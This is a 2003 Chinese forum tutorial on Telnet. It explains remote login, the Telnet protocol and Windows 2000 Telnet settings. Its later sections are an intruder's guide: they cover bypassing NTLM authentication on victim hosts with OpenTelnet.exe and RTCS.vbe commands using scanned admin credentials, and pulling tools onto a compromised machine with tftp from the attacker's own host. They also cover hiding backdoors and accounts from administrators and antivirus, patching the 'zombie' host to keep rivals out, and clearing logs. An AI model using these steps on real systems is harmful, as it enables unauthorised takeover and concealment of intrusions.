你真的瞭解telnet嗎?
建立時間:2003-07-08
文章屬性:原創
文章提交:iqst (papabang_at_qingdaonews.com)
author: iqst
from: http://ccbirds.yeah.net
retain above info to transport
目錄:
一 摘要
二 遠程登入
三 Telnet協議
四 Win2000的Telnet服務
五 在telnet中該做什麼
六 結束語
一 摘要
Telnet的應用不僅方便了我們進行遠程登入,也給hacker們提供了又一種入侵手段和後門,但無論如何,在你盡情享受Telnet所帶給你的便捷的同時,你是否真正的瞭解Telnet呢?
二 遠程登入
Telnet服務雖然也屬於客戶機/伺服器模型的服務,但它更大的意義在於實現了基於Telnet協議的遠程登入(遠程互動式計算),那麼就讓我們來認識一下遠程登入。
1 遠程登陸的基本概念
先來看看什麼叫登入:分時系統允許多個使用者同時使用一台電腦,為了保證系統的安全和記帳方便,系統要求每個使用者有單獨的帳號作為登入標識,系統還為每個使用者指定了一個口令。使用者在使用該系統之前要輸入標識和口令,這個過程被稱為'登入'。
遠程登陸是指使用者使用Telnet命令,使自己的電腦暫時成為遠程主機的一個模擬終端的過程。模擬終端等效於一個非智能的機器,它只負責把使用者輸入的每個字元傳遞給主機,再將主機輸出的每個資訊回顯在螢幕上。
2 遠程登陸的產生及發展
我們可以先構想一個提供遠程文字編輯的服務,這個服務的實現需要一個接受編輯檔案請求和資料的伺服器以及一個發送此請求的客戶機。客戶機將建立一個從本地 機到伺服器的TCP串連,當然這需要伺服器的應答,然後向伺服器發送鍵入的資訊(檔案編輯資訊),並讀取從伺服器返回的輸出。以上便是一個標準而普通的客 戶機/伺服器模型的服務。
似乎有了客戶機/伺服器模型的服務,一切遠程問題都可以解決了。然而實際並非你想象的那樣簡單,如果我們僅需要遠程編輯檔案,那麼剛才所構想的服務完全可 以勝任,但假如我們的要求並不是這麼簡單,我們還想實現遠端使用者管理,遠端資料錄入,遠程系統維護,想實現一切可以在遠程主機上實現的操作,那麼我們將需 要大量專用的伺服器程式並為每一個可計算服務都使用一個伺服器處理序,隨之而來的問題是:遠程機器會很快對伺服器處理序應接不暇,並淹沒在進程的海洋裡(我們 在這裡排除最專業化的遠程機器)。
那麼有沒有辦法解決呢?當然有,我們可以用遠程登入來解決這一切。我們允許使用者在遠地機器上建立一個登入工作階段,然後通過執行命令來實現更一般的服務,就像在本地操作一樣。這樣,我們便可以訪問遠地系統上所有可用的命令,並且系統設計員不需提供多個專用地伺服器程式。
問題發展到這裡好像前途一片光明了,用遠程登入總應該解決問題了吧,但要實現遠程登陸並不簡單。不考慮網路設計的電腦系統期望使用者只從直接相連的鍵盤和 顯示器上登入,在這種機器上增加遠程登陸功能需要修改機器的作業系統,這是極其艱巨也是我們盡量避免的。因此我們應該集中力量構造遠程登陸伺服器軟體,雖 然這樣也是比較困難的。為什麼說這樣做也比較困難呢?
舉個例子來說:一般,作業系統會為一些特殊按鍵分配特殊的含義,比如本地系統將'Ctrl+C'解釋為:'終止當前啟動並執行命令進程'。但假設我們已經運行 了遠程登陸伺服器軟體,'Ctrl+C'也有可能無法被傳送到遠地機器,如果客戶機真的將'Ctrl+C'傳到了遠地機器,那麼'Ctrl+C'這個命令 有可能不能終止本地的進程,也就是說在這裡很可能會產生混亂。而且這僅僅是遇到的難題之一。
但儘管有技術上的困難,系統編程人員還是設法構造了能夠應用於大多數作業系統的遠程登陸伺服器軟體,並構造了充當客戶機的應用軟體。通常,客戶機軟體取消 了除一個鍵以外的所有鍵的本地解釋,並將這些本地解釋相應的轉換成遠地解釋,這就使得客戶機軟體與遠地機器的互動,就如同坐在遠程主機面前一樣,從而避免 了上述所提到的混亂。而那個唯一例外的鍵,可以使使用者回到本地環境。
將遠程登陸伺服器設計為應用級軟體,還有另一個要求,那就是需要作業系統提供對偽終端(pseudo terminal)的支援。我們用偽終端描述作業系統的進入點,它允許像Telnet伺服器一樣的程式向作業系統傳送字元,並且使得字元像是來自本地鍵盤 一樣。只有使用這樣的作業系統,才能將遠程登陸伺服器設計為應用級軟體(比如Telnet伺服器軟體),否則,本地作業系統和遠地系統傳送將不能識別從對 方傳送過來的資訊(因為它們僅能識別從本地鍵盤所鍵入的資訊),遠程登陸將宣告失敗。
將遠程登陸伺服器設計為應用級軟體雖然有其顯著的優點:比將代碼嵌入作業系統更易修改和控制伺服器。但其也有效率不高的缺點(後面的內容將會給予解釋),好在使用者鍵入資訊的速率不高,這種設計還是可以接受的。
3 遠程登入的工作過程
使用Telnet協議進行遠程登陸時需要滿足以下條件:在本的電腦上必須裝有包含Telnet協議的客戶程式;必須知道遠程主機的Ip地址或網域名稱;必須知道登入標識與口令。
Telnet遠程登入服務分為以下4個過程:
1)本地與遠程主機建立串連。該過程實際上是建立一個TCP串連,使用者必須知道遠程主機的Ip地址或網域名稱;
2)將本地終端上輸入的使用者名稱和口令及以後輸入的任何命令或字元以NVT(Net Virtual Terminal)格式傳送到遠程主機。該過程實際上是從本地主機向遠程主機發送一個IP資料報;
3)將遠程主機輸出的NVT格式的資料轉化為本地所接受的格式送回本地終端,包括輸入命令回顯和命令執行結果;
4)最後,本地終端對遠程主機進行撤消串連。該過程是撤銷一個TCP串連。
上面的內容只是討論了遠程登陸最基本的東西,其中的複雜和編程人員的艱辛是我們難以想象的,不知道你在舒服的使用Telnet的同時,是否想到了這些!
三 Telnet協議
我們知道Telnet伺服器軟體是我們最常用的遠程登入伺服器軟體,是一種典型的客戶機/伺服器模型的服務,它應用Telnet協議來工作。那麼,什麼是Telnet協議?它都具備哪些特點呢?
1 基本內容
Telnet協議是TCP/IP協議族中的一員,是Internet遠程登陸服務的標準協議。應用Telnet協議能夠把本機使用者所使用的電腦變成遠程主機系統的一個終端。它提供了三種基本服務:
1)Telnet定義一個網路虛擬終端為遠的系統提供一個標準介面。客戶機程式不必詳細瞭解遠的系統,他們只需構造使用標準介面的程式;
2)Telnet包括一個允許客戶機和伺服器協商選項的機制,而且它還提供一組標準選項;
3)Telnet對稱處理串連的兩端,即Telnet不強迫客戶機從鍵盤輸入,也不強迫客戶機在螢幕上顯示輸出。
2 適應異構
為了使多個作業系統間的Telnet互動操作成為可能,就必須詳細瞭解異構電腦和作業系統。比如,一些作業系統需要每行文本用ASCII斷行符號控制符 (CR)結束,另一些系統則需要使用ASCII分行符號(LF),還有一些系統需要用兩個字元的序列斷行符號-換行(CR-LF);再比如,大多數作業系統為用 戶提供了一個中斷程式啟動並執行快速鍵,但這個快速鍵在各個系統中有可能不同(一些系統使用CTRL+C,而另一些系統使用ESCAPE)。如果不考慮系統間 的異構性,那麼在本地發出的字元或命令,傳送到遠地並被遠地系統解釋後很可能會不準確或者出現錯誤。因此,Telnet協議必須解決這個問題。
為了適應異構環境,Telnet協議定義了資料和命令在Internet上的傳輸方式,此定義被稱作網路虛擬終端NVT(Net Virtual Terminal)。它的應用過程如下:
對於發送的資料:客戶機軟體把來自使用者終端的按鍵和命令序列轉換為NVT格式,並發送到伺服器,伺服器軟體將收到的資料和命令,從NVT格式轉換為遠地系統需要的格式;
對於返回的資料:遠地伺服器將資料從遠地機器的格式轉換為NVT格式,而本地客戶機將將接收到的NVT格式資料再轉換為本地的格式。
對於NVT格式的詳細定義,有興趣的朋友可以去尋找相關資料。
3 傳送遠地命令
我們知道絕大多數作業系統都提供各種快速鍵來實現相應的控制命令,當使用者在本地終端鍵入這些快速鍵的時候,本地系統將執行相應的控制命令,而不把這些快速鍵作為輸入。那麼對於Telnet來說,它是用什麼來實現控制命令的遠地傳送呢?
Telnet同樣使用NVT來定義如何從客戶機將控制功能傳送到伺服器。我們知道USASCII字元集包括95個可列印字元和33個控制碼。當使用者從本地 鍵入一般字元時,NVT將按照其原始含義傳送;當使用者鍵入快速鍵(按鍵組合)時,NVT將把它轉化為特殊的ASCII字元在網路上傳送,並在其到達遠地機器 後轉化為相應的控制命令。將正常ASCII字元集與控制命令區分主要有兩個原因:
1)這種區分意味著Telnet具有更大的靈活性:它可在客戶機與伺服器間傳送所有可能的ASCII字元以及所有控制功能;
2)這種區分使得客戶機可以無二義性的指定信令,而不會產生控制功能與一般字元的混亂。
4 資料流向
上面我們提到過將Telnet設計為應用級軟體有一個缺點,那就是:效率不高。這是為什麼呢?下面給出Telnet中的資料流向:
資料資訊被使用者從本地鍵盤鍵入並通過作業系統傳到客戶機程式,客戶機程式將其處理後返回作業系統,並由作業系統經過網路傳送到遠地機器,遠地作業系統將所 接收資料傳給伺服器程式,並經伺服器程式再次處理後返回到作業系統上的偽終端進入點,最後,遠地作業系統將資料傳送到使用者正在啟動並執行應用程式,這便是一次 完整的輸入過程;輸出將按照同一通路從伺服器傳送到客戶機。
因為每一次的輸入和輸出,電腦將切換進程環境好幾次,這個開銷是很昂貴的。還好使用者的鍵入速率並不算高,這個缺點我們仍然能夠接受。
5 強制命令
我們應該考慮到這樣一種情況:假設本機使用者運行了遠地機器的一個無休止迴圈的錯誤命令或程式,且此命令或程式已經停止讀取輸入,那麼作業系統的緩衝區可能 因此而被佔滿,如果這樣,遠地伺服器也無法再將資料寫入偽終端,並且最終導致停止從TCP串連讀取資料,TCP串連的緩衝區最終也會被佔滿,從而導致阻止 資料流流入此串連。如果以上事情真的發生了,那麼本機使用者將失去對遠地機器的控制。
為瞭解決此問題,Telnet協議必須使用外帶信令以便強制服務器讀取一個控制命令。我們知道TCP用緊急資料機制實現外帶資料信令,那麼Telnet只 要再附加一個被稱為資料標記(date mark)的保留八位組,並通過讓TCP發送已設定緊急資料位元的報文段通知伺服器便可以了,攜帶緊急資料的報文段將繞過流量控制直接到達伺服器。作為對 緊急信令的相應,伺服器將讀取並拋棄所有資料,直到找到了一個資料標記。伺服器在遇到了資料標記後將返回正常的處理過程。
6 選項協商
由於Telnet兩端的機器和作業系統的異構性,使得Telnet不可能也不應該嚴格規定每一個telnet串連的詳細配置,否則將大大影響Telnet的適應異構性。因此,Telnet採用選項協商機制來解決這一問題。
Telnet選項的範圍很廣:一些選項擴充了大方向的功能,而一些選項制涉及一些微小細節。例如:有一個選項可以控制Telnet是在半雙工還是全雙工系統模式下工作(大方向);還有一個選項允許遠地機器上的伺服器決定使用者終端類型(小細節)。
Telnet選項的協商方式也很有意思,它對於每個選項的處理都是對稱的,即任何一端都可以發出協商申請;任何一端都可以接受或拒絕這個申請。另外,如果 一端試圖協商另一端不瞭解的選項,接受請求的一端可簡單的拒絕協商。因此,有可能將更新,更複雜的Telnet客戶機伺服器版本與較老的,不太複雜的版本 進行互動操作。如果客戶機和伺服器都理解新的選項,可能會對互動有所改善。否則,它們將一起轉到效率較低但可工作的方式下運行。所有的這些設計,都是為了 增強適應異構性,可見Telnet的適應異構性對其的應用和發展是多麼重要。
上面討論了一些原理方面的東西,雖然我們在Telnet的使用過程中很難接觸到這一層面,但我認為瞭解這些是有意義的,它會給我們帶來許多啟示。下面讓我們來看看Win2000的Telnet服務。
(本系列教程不定期更新,欲獲得最新版本,請登陸官方網站:菜菜鳥社區 http://ccbirds.yeah.net)
四 Win2000的Telnet服務
其實從應用程式層面上,Win2000的Telnet服務並沒有什麼可說的,絕大部分內容你都可以從HELP檔案中得到,我在此只是把它稍微整理一下而已。
1 基本配置
Win2000為我們提供了Telnet客戶機和伺服器程式:Telnet.exe是客戶機程式(Client),tlntsvr.exe是伺服器程式(server),同時它還為我們提供了Telnet伺服器管理程式tlntadmn.exe。
Windows 2000 預設安裝了 Telnet 服務,但是並沒有預設啟動。下面給出HELP檔案中 Telnet 服務的一部分預設設定:
AllowTrustedDomain:是否允許域使用者訪問。預設值是1,允許信任域使用者訪問。可以改為0: 不允許域使用者訪問(只允許本機使用者)。
DefaultDomain:可以對與該電腦具有信任關係的任何網域設定。預設值是"."。
DefaultShell:顯示 shell 安裝的路徑位置。預設值是: %systemroot%/System32/Cmd.exe /q /k
MaxFailedLogins:在串連終止之前顯示嘗試登入失敗的最大次數。預設是3。
LoginScript:顯示 Telnet 伺服器登入指令檔的路徑位置。預設的位置就是“%systemroot%/System32/login.cmd”,你可以變更指令碼內容,這樣登入進Telnet的歡迎畫面就不一樣了。
NTLM:NTLM身分識別驗證選項。預設是2。可以有下面這些值:
0: 不使用 NTLM 身分識別驗證。
1: 先嘗試 NTLM 身分識別驗證,如果失敗,再使用使用者名稱和密碼。
2: 只使用 NTLM 身分識別驗證。
TelnetPort:顯示 telnet 伺服器偵聽 telnet 請求的連接埠。預設是:23。你也可以更改為其他連接埠。
以上各項設定你可以使用tlntadmn.exe(Telnet伺服器管理程式)來進行非常方便的配置,配置後需要重新啟動Telnet服務。1
2 NTLM
提到了telnet就不能不提NTLM,我想這也是讓入侵者最為頭痛的一件事,哪怕你獲得了管理員帳號和密碼,想簡單通過NTLM也並非易事,況且 win2000中的telnet預設僅以NTLM方式驗證身份,這就讓我們不得不關注NTLM這個東東,那麼什麼是NTLM呢?
早期的SMB協議在網路上明文傳輸口令,後來出現了"LAN Manager Challenge/Response"驗證機制,簡稱LM,它十分簡單以至很容易被破解,微軟隨後提出了WindowsNT挑戰/響應驗證機制,即 NTLM。現在已經有了更新的NTLMv2以及Kerberos驗證體系。NTLM工作流程是這樣的:
1、用戶端首先在本地加密目前使用者的密碼成為密碼散列
2、用戶端向伺服器發送自己的帳號,這個帳號是沒有經過加密的,明文直接傳輸
3、伺服器產生一個16位的隨機數字發送給用戶端,作為一個 challenge(挑戰)
4、用戶端再用加密後的密碼散列來加密這個 challenge ,然後把這個返回給伺服器。作為 response(響應)
5、伺服器把使用者名稱、給用戶端的challenge 、用戶端返回的 response 這三個東西,發送網域控制站
6、網域控制站用這個使用者名稱在 SAM密碼管理庫中找到這個使用者的密碼散列,然後使用這個密碼散列來加密 challenge。
7、網域控制站比較兩次加密的 challenge ,如果一樣,那麼認證成功。
從上面的過程我們可以看出,NTLM是以目前使用者的身份向Telnet伺服器發送登入請求的,而不是用你掃到的對方管理員的帳戶和密碼登入,顯然,你的登 錄將會失敗。舉個例子來說,你家的機器名為A(本地機器),你入侵的機器名為B(遠地機器),你在A上的帳戶是xinxin,密碼是1234,你掃到B的 管理員帳號是Administrator,密碼是5678,當你想Telnet到B時,NTLM將自動以目前使用者的帳號和密碼作為登入的憑據來進行上面的 7項操作,即用xinxin和1234,而並非用你掃到的Administrator和5678,且這些都是自動完成的,根本不給你插手的機會,因此你的 登入操作將失敗。
由於Telnet伺服器對NTLM的使用有3個選項,所以當你Telnet遠地機器時,會顯示下面情況中的一種:
1)身分識別驗證選項=0時
=====================================
Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
password:
//為0時不使用NTML身分識別驗證,直接輸入使用者名稱和密碼,比如你可以輸入掃到的Administrator和5678
2)身分識別驗證選項=1時
=====================================
NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password
Microsoft (R) Windows (TM) Version 5.00 (Build 2195)
Welcome to Microsoft Telnet Service
Telnet Server Build 5.00.99201.1
login:
password:
//先嘗試 NTLM 身分識別驗證,如果失敗,再使用使用者名稱和密碼,其實這種方式對於我們來說,與上一種方式沒什麼區別
3)身分識別驗證選項=2時
=====================================
NTLM Authentication failed due to insufficient credentials. Please login withclear text username and password
Server allows NTLM authentication only
Server has closed connection
遺失對主機的串連。
C:/>
//仔細看看上面的顯示,根本沒有給你輸入使用者名稱和密碼的機會,直接中斷連線,掃到了密碼也是白掃
所以對於入侵者來說,NTLM是橫在我們面前的一座大山,必須要除掉它,一般我們有如下幾種方法:
1通過修改遠端登錄更改telnet伺服器配置,將驗證方式從2改為1或0;
2使用NTLM.exe,上傳後直接運行,可將telnet伺服器驗證方式從2改為1;
3在本地建立掃描到的使用者,以此使用者身份開啟telnet客戶機並進行遠程登入;
4使用軟體,比如opentelnet.exe(需要管理員權限且開啟IPC管道)
5使用指令碼,如RTCS,(需要管理員權限但不依賴IPC管道)
基本上是以上的5種,其中後兩種是我們比較常用的開telnet的手法,而且使用方法十分簡單,命令如下:
OpenTelnet.exe //server username password NTLMAuthor telnetport
OpenTelnet.exe //伺服器位址 管理使用者名 密碼 驗證方式(填0或1) telnet連接埠
cscript RTCS.vbe targetIP username password NTLMAuthor telnetport
cscript RTCS.vbe <目標IP> <管理使用者名> <密碼> <驗證方式> <tlnet連接埠>
五 在telnet中該做什麼
本來寫到上面就想結束了,不過許多朋友都說telnet上去後不知道該做什麼了,既然這樣,那我就拋磚引玉吧,這次不講具體做法,只是說說思路,什嗎?為什麼不講具體做法?篇幅不夠嘛,以後我會一一解釋的。
1 查看系統資訊
呵呵,其實就是隨處看看,看看他的系統配置和版本(用type c:/boot.ini來知道pro版或server版),看看都裝了什麼服務或軟體(從目錄名就可以知道了),看看有什麼重要或有趣的檔案啦(唉,要是 國外的機器,看也看不懂),看看他的使用者情況,總之就是儘可能多的瞭解系統,為一會裝後門摸底。
2 使用tftp傳送檔案
想必大家都遇到過在telnet中傳輸檔案的問題,因為我們習慣了在ipc管道中的檔案傳輸,所以有些朋友喜歡用net share ipc$ 來開啟管道,進而利用copy來傳輸檔案。不過這樣反而麻煩,既然我們已經得到了shell,我們可以用TFPT命令來完成這一切,什麼是TFTP呢?
用TFTP(Trivial File Transfer Protocol)來實現檔案的傳送是一種基於UDP串連的檔案傳輸,一般是使用Windows內建的tftp.exe和一個TFTP伺服器端軟體構成一 個完整的傳輸結構。它是這樣使用的: 首先運行本地的TFTP Server(比如tftpd32.exe)軟體並保證始終開啟直至傳輸全部完成, 然後在telnet中(當然你也可以在其他shell中)運行下面的命令:
C:/>tftp –i ip get xinxin.exe c:/abc/xinxin.exe
其中ip為你自己機器的ip,且上傳檔案要與TFTP伺服器端在同一目錄下,這樣你就可以把xinxin.exe上傳到c盤abc目錄下了(其實是從tftp伺服器下載來的)
需要指出的是,如果使用代理IP,你將不能實現與外部網路的檔案傳送。因為你的代理網關在進行資料封裝的時候會將自己的IP地址加入到你的資料報中,代替你的內部網路地址,所以在外部網路進行MAC定址時是找不到你這台TFTP伺服器的。
3 安置後門
安置後門放在第二步好像早了點,如果你入侵還有其他目的,比如以破壞為主,或者是來修改首頁的,那麼這些事情當然可以在安置後門之前做;如果你只是想得到一隻肉雞,那就沒什麼可說的了,安後門吧。
後門的種類繁多,也給我們提供了很大的選擇餘地,能夠根據具體情況選擇合適的後門的確是一門學問。常用的後門一般有:木馬,asp木馬,遠端控制軟體,克 隆帳戶,建立並隱藏帳戶,telnet,telnet擴充的shell,終端服務等。安置一個好的後門通常要注意以下幾點:
1 不會被防火牆查殺及阻礙通訊:被加入病毒庫的後門最好加殼以逃過防火牆,盡量用低連接埠通訊,以免被防火牆屏蔽。
2 最大限度增加隱蔽性:如果你選擇遠端控制軟體,要注意被控端的安裝提示和小表徵圖,以及是否同步畫面;如果你在帳戶上做文章,要盡量保持在cmd和使用者管理 中都不出破綻;如果你選擇放木馬或telnet擴充,要注意檔案和進程的隱藏;如果新開了終端服務(入侵前並沒有開),一定要該掉3389這個顯眼的端 口,且越低越好。
3 不要當管理員不存在:這是一個大忌,許多朋友在只有預設帳戶的機器上建立類似'hacking'的系統管理員帳戶,真是無知者無畏呀。所以安置後門的時候,想想管理員疏忽的地方會在哪裡。
4 打補丁
如果想獨霸肉雞,就要會打補丁,要知道對肉雞的競爭是很激烈的。怎麼打補丁呢?這個也要問?想想你是怎麼進來的吧。算了,提示一下,除了修補大的漏洞以外 (上傳官方補丁並運行),也要注意它的共用,ipc$共用(最好都關閉),可疑連接埠,容易被利用的服務等。不過打補丁也要注意隱蔽性的,不要讓管理員發現 大的改動。
5 清除日誌
可以手動或利用軟體,如果不太會就去找相關教材吧,在這裡我不詳細介紹了。
六 結束語
文章的前部分主要說了一些原理性的東西,後部分則側重於應用,寫的多了難免會有些遺漏,如果你覺得哪裡還需要補充,或者哪裡不明白,請回帖告訴我喲!!